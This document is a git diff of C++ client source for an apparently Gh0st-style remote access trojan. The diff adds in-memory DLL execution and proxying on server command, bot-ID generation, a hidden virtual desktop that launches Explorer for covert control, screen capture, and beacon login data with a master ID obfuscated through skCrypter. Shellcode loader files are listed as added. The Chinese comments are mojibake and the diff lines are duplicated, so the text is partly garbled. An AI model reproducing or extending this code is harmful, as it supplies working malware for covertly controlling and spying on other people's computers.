else if (!isExit){ else if (!isExit) {
m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn; m_hThread[m_ulThreadCount].conn = m_conn;
} }
switch(szBuffer[0]) switch (szBuffer[0])
{ {
case CMD_EXECUTE_DLL: {
#ifdef _WIN64
const int sz = 1 + sizeof(DllExecuteInfo);
if (ulLength <= sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit);
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL));
Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size);
}
#endif
break;
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHARE: case COMMAND_SHARE:
if (ulLength > 2) { if (ulLength > 2) {
switch (szBuffer[1]) { switch (szBuffer[1]) {
@@ -196,7 +286,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
OutputDebugStringA("======> Client exit \n"); Mprintf("======> Client exit \n");
break; break;
} }
@@ -205,7 +295,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT; g_bExit = S_SERVER_EXIT;
OutputDebugStringA("======> Server exit \n"); Mprintf("======> Server exit \n");
break; break;
} }

View File

@@ -72,17 +72,6 @@ private:
} }
}; };
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
struct ThreadInfo
{
BOOL run;
HANDLE h;
IOCPClient *p;
void* user;
CONNECT_ADDRESS* conn;
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
};
class CKernelManager : public CManager class CKernelManager : public CManager
{ {
public: public:

338
client/Loader.cpp Normal file

File diff suppressed because one or more lines are too long

View File

@@ -6,6 +6,7 @@
#include <iomanip> #include <iomanip>
#include <ctime> #include <ctime>
#include <NTSecAPI.h> #include <NTSecAPI.h>
#include "common/skCrypter.h"
// by ChatGPT // by ChatGPT
bool IsWindows11() { bool IsWindows11() {
@@ -44,7 +45,7 @@ std::string getSystemName()
} }
if (IsWindows11()) { if (IsWindows11()) {
vname = "Windows 11"; vname = "Windows 11";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
DWORD dwMajor, dwMinor, dwBuildNumber; DWORD dwMajor, dwMinor, dwBuildNumber;
@@ -57,13 +58,13 @@ std::string getSystemName()
if (dwMajor == 6 && dwMinor == 3) //win 8.1 if (dwMajor == 6 && dwMinor == 3) //win 8.1
{ {
vname = "Windows 8.1"; vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
if (dwMajor == 10 && dwMinor == 0) //win 10 if (dwMajor == 10 && dwMinor == 0) //win 10
{ {
vname = "Windows 10"; vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -141,10 +142,10 @@ std::string getSystemName()
default: default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ"; vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
} }
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
} }
else else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n"); Mprintf("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname; return vname;
} }
@@ -178,7 +179,7 @@ std::string getProcessTime() {
return buffer; return buffer;
} }
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType) LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
{ {
LOGIN_INFOR LoginInfor; LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼ LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
@@ -194,13 +195,32 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
BOOL bWebCamIsExist = WebCamIsExist(); BOOL bWebCamIsExist = WebCamIsExist();
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.bWebCamIsExist = bWebCamIsExist; LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType)); sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
LoginInfor.AddReserved("?"); // ϵͳλ<CDB3><CEBB>
LoginInfor.AddReserved("?"); // CPU<50><55><EFBFBD><EFBFBD>
LoginInfor.AddReserved("?"); // ϵͳ<CFB5>ڴ<EFBFBD>
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
LoginInfor.AddReserved("?"); // test
std::string installTime;
auto b = ReadAppSettingA("install_time", installTime);
if (!b || installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);;
WriteAppSettingA("install_time", installTime);
}
LoginInfor.AddReserved(installTime.c_str());
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
return LoginInfor; return LoginInfor;
} }

View File

@@ -5,6 +5,6 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType); LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
DWORD CPUClockMHz(); DWORD CPUClockMHz();
BOOL WebCamIsExist(); BOOL WebCamIsExist();

View File

@@ -14,7 +14,7 @@ typedef struct {
HANDLE hEventTransferArg; HANDLE hEventTransferArg;
} THREAD_ARGLIST, * LPTHREAD_ARGLIST; } THREAD_ARGLIST, * LPTHREAD_ARGLIST;
BOOL SelectDesktop(TCHAR* name); HDESK SelectDesktop(TCHAR* name);
unsigned int __stdcall ThreadLoader(LPVOID param) unsigned int __stdcall ThreadLoader(LPVOID param)
{ {
@@ -54,6 +54,41 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
return hThread; return hThread;
} }
ULONG PseudoRand(ULONG* seed)
{
return (*seed = 1352459 * (*seed) + 2529004207);
}
std::string GetBotId()
{
#define _T(p) p
TCHAR botId[35] = { 0 };
TCHAR windowsDirectory[MAX_PATH] = {};
TCHAR volumeName[8] = { 0 };
DWORD seed = 0;
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
windowsDirectory[0] = _T('C');
volumeName[0] = windowsDirectory[0];
volumeName[1] = _T(':');
volumeName[2] = _T('\\');
volumeName[3] = _T('\0');
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
GUID guid = {};
guid.Data1 = PseudoRand(&seed);
guid.Data2 = (USHORT)PseudoRand(&seed);
guid.Data3 = (USHORT)PseudoRand(&seed);
for (int i = 0; i < 8; i++)
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
return botId;
#undef _T(p)
}
BOOL SelectHDESK(HDESK new_desktop) BOOL SelectHDESK(HDESK new_desktop)
{ {
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
@@ -80,9 +115,9 @@ BOOL SelectHDESK(HDESK new_desktop)
// Switches the current thread into a different desktop, by name // Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop. // Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop. // Calling with a NULL name will place the thread in the current input desktop.
BOOL SelectDesktop(TCHAR* name) HDESK SelectDesktop(TCHAR* name)
{ {
HDESK desktop; HDESK desktop = NULL;
if (name != NULL) { if (name != NULL) {
// Attempt to open the named desktop // Attempt to open the named desktop
@@ -103,18 +138,18 @@ BOOL SelectDesktop(TCHAR* name)
// Did we succeed? // Did we succeed?
if (desktop == NULL) { if (desktop == NULL) {
return FALSE; return NULL;
} }
// Switch to the new desktop // Switch to the new desktop
if (!SelectHDESK(desktop)) { if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it! // Failed to enter the new desktop, so free it!
CloseDesktop(desktop); CloseDesktop(desktop);
return FALSE; return NULL;
} }
// We successfully switched desktops! // We successfully switched desktops!
return TRUE; return desktop;
} }
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -123,6 +158,7 @@ BOOL SelectDesktop(TCHAR* name)
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit) CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
{ {
m_bReady = TRUE;
m_ClientObject = ClientObject; m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);

View File

@@ -12,8 +12,16 @@
#include "..\common\commands.h" #include "..\common\commands.h"
#include "IOCPClient.h" #include "IOCPClient.h"
#define ENABLE_VSCREEN 1
HDESK SelectDesktop(TCHAR* name);
std::string GetBotId();
typedef IOCPClient CClientSocket; typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function LPTHREAD_START_ROUTINE lpStartAddress, // thread function
@@ -25,6 +33,7 @@ class CManager : public IOCPManager
{ {
public: public:
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
BOOL m_bReady;
CManager(IOCPClient* ClientObject); CManager(IOCPClient* ClientObject);
virtual ~CManager(); virtual ~CManager();
@@ -35,6 +44,7 @@ public:
VOID NotifyDialogIsOpen(); VOID NotifyDialogIsOpen();
int Send(LPBYTE lpData, UINT nSize); int Send(LPBYTE lpData, UINT nSize);
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
}; };
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)

View File

@@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
#endif #endif
default: default:
//printf("Unknown relocation: %d\n", type); // Mprintf("Unknown relocation: %d\n", type);
break; break;
} }
} }
@@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueDownTests[idx]; const uintptr_t* tests = AlignValueDownTests[idx];
uintptr_t value = AlignValueDown(tests[0], tests[1]); uintptr_t value = AlignValueDown(tests[0], tests[1]);
if (value != tests[2]) { if (value != tests[2]) {
printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value); tests[0], tests[1], tests[2], value);
success = FALSE; success = FALSE;
} }
@@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueUpTests[idx]; const uintptr_t* tests = AlignValueUpTests[idx];
uintptr_t value = AlignValueUp(tests[0], tests[1]); uintptr_t value = AlignValueUp(tests[0], tests[1]);
if (value != tests[2]) { if (value != tests[2]) {
printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value); tests[0], tests[1], tests[2], value);
success = FALSE; success = FALSE;
} }
} }
if (success) { if (success) {
printf("OK\n"); Mprintf("OK\n");
} }
return success; return success;
} }

72921
client/SCLoader.cpp Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -91,25 +91,31 @@ public:
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA> LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD> int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
int m_SendQuality; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD> BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
ULONG m_iScreenX; // <20><>ʼx<CABC><78><EFBFBD><EFBFBD>
ULONG m_iScreenY; // <20><>ʼy<CABC><79><EFBFBD><EFBFBD>
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB> ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB> ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD> double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD> double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
int m_biBitCount; // ÿ<><C3BF><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD> int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD> int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡ bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) :
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){ m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
m_SendKeyFrame(false), m_encoder(nullptr) {
m_BlockNum = 8; m_BlockNum = 8;
m_ThreadPool = new ThreadPool(m_BlockNum); m_ThreadPool = new ThreadPool(m_BlockNum);
@@ -160,6 +166,21 @@ public:
SAFE_DELETE(m_encoder); SAFE_DELETE(m_encoder);
} }
virtual int SendQuality(int quality) {
int old = m_SendQuality;
m_SendQuality = quality;
return old;
}
virtual RECT GetScreenRect() const {
RECT rect;
rect.left = m_iScreenX;
rect.top = m_iScreenY;
rect.right = m_ulFullWidth;
rect.bottom = m_ulFullHeight;
return rect;
}
public: public:
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> ************************************* //*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
@@ -257,8 +278,22 @@ public:
} }
} }
virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight)
{
assert(biBitCount == 32);
BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)]();
bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmpInfo->bmiHeader.biWidth = biWidth;
bmpInfo->bmiHeader.biHeight = biHeight;
bmpInfo->bmiHeader.biPlanes = 1;
bmpInfo->bmiHeader.biBitCount = 32;
bmpInfo->bmiHeader.biCompression = BI_RGB;
bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4;
return bmpInfo;
}
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
BYTE algo = m_bAlgorithm; BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1; int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0); bool keyFrame = (frameID % m_GOP == 0);

View File

@@ -22,7 +22,7 @@ private:
BYTE* m_NextBuffer = nullptr; BYTE* m_NextBuffer = nullptr;
public: public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) { ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) {
m_GOP = gop; m_GOP = gop;
InitDXGI(); InitDXGI();
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);

View File

@@ -15,6 +15,8 @@
#include "ScreenSpy.h" #include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h" #include "ScreenCapturerDXGI.h"
#include <Shlwapi.h>
#include <shlobj_core.h>
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
{ {
m_bIsWorking = TRUE; m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE; m_bIsBlockInput = FALSE;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ScreenSpyObject = nullptr;
m_ptrUser = (INT_PTR)user;
int DXGI = 0; m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
void CScreenManager::InitScreenSpy() {
int DXGI = USING_GDI;
BYTE algo = ALGORITHM_DIFF; BYTE algo = ALGORITHM_DIFF;
BYTE* user = (BYTE*)m_ptrUser;
if (!(user == NULL || (int)user == 1)) { if (!(user == NULL || (int)user == 1)) {
UserParam* param = (UserParam*)user; UserParam* param = (UserParam*)user;
if (param) { if (param) {
@@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
algo = param->length > 1 ? param->buffer[1] : algo; algo = param->length > 1 ? param->buffer[1] : algo;
delete param; delete param;
} }
} else { }
else {
DXGI = (int)user; DXGI = (int)user;
} }
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
if ((1==DXGI && IsWindows8orHigher())) if (DXGI == USING_VIRTUAL) {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
}
}
else {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
}
}
else {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
SetThreadDesktop(g_hDesk = hDesk);
}
}
if ((USING_DXGI == DXGI && IsWindows8orHigher()))
{ {
auto s = new ScreenCapturerDXGI(algo); auto s = new ScreenCapturerDXGI(algo);
if (s->IsInitSucceed()) { if (s->IsInitSucceed()) {
@@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
} }
else else
{ {
m_ScreenSpyObject = new CScreenSpy(32, algo); m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL);
} }
